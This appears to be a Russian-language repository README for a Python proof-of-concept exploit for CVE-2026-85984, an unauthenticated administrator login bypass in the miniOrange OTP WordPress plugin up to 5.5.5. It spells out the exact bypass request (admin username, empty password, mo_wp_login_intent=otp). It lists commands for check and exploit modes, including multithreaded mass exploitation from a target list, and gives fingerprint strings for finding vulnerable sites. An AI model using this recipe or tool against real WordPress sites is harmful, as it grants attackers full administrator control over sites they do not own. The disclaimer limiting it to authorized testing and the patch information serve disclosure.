murrez/cve-2026-85984Python PoC для CVE-2026-85984: проверяет и эксплуатирует обход аутентификации администратора WordPress без аутентификации в плагине miniOrange OTP (≤5.5.5), со сканированием версии и перечислением пользователей.
PoC на Python 3 для CVE-2026-85984 — miniOrange OTP Login, Verification and SMS Notifications ≤ 5.5.5.
CVE-2026-85984 — неаутентифицированный обход аутентификации (CWE-287) через POST-параметр mo_wp_login_intent=otp с пустым паролем. В ветке skip_pass_fallback функции mo_by_pass_login() плагин пропускает wp_authenticate_username_password(), находит пользователя только по имени пользователя и считает роль администратора достаточной, когда включены опции Admin OTP Bypass.
Атака: wp-login.php с log=<admin_user>, pwd= (пустой), mo_wp_login_intent=otp.
Условия (все должны быть включены администратором сайта):
CVSS 3.1: 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). Исправление: 5.5.6+ (Wordfence CNA, обнаружил Supakiad S. / m3ez).
Страница PoC: https://pocbit.org/pocs/cve-2026-85984
Каталог: https://pocbit.org/pocs/
| Слаг плагина | miniorange-otp-verification |
| Затронуто | ≤ 5.5.5 |
| Исправлено | 5.5.6+ |
| Вектор | wp-login.php + mo_wp_login_intent=otp |
| Воздействие | Сессия администратора (полная компрометация сайта) |
PoC включает цветной баннер CLI, сканирование плагина/версии, опциональное перечисление пользователей (REST/author), попытку обхода в режиме --mode exploit, массовый JSONL с pocbit / pocbit_catalog / pocbit_page.
pip install -r requirements.txt
python poc.py -u https://wordpress.example --mode check
python poc.py -u https://wordpress.example --mode check --probe-login
python poc.py -u https://wordpress.example --mode exploit --username admin
python poc.py --list targets.example.txt --mode exploit -j 8
python poc.py -u https://wordpress.example --mode exploit --no-color
body="/wp-content/plugins/miniorange-otp-verification"
body="mo_wp_login_intent"
PoC для CVE-2026-85984: WordPress miniOrange OTP ≤5.5.5 неаутентифицированный обход администратора через mo_wp_login_intent=otp + пустой пароль. Режимы проверки/эксплуатации, цветной CLI. PoCbit
CVE-2026-85984: В плагине miniOrange OTP пустой пароль + mo_wp_login_intent=otp приводит к сессии администратора (требуются неверные настройки OTP). Патч 5.5.6. PoC: цветной интерфейс + режим эксплойта.
Только авторизованное тестирование. Не используйте на системах, которыми вы не владеете или на тестирование которых у вас нет разрешения.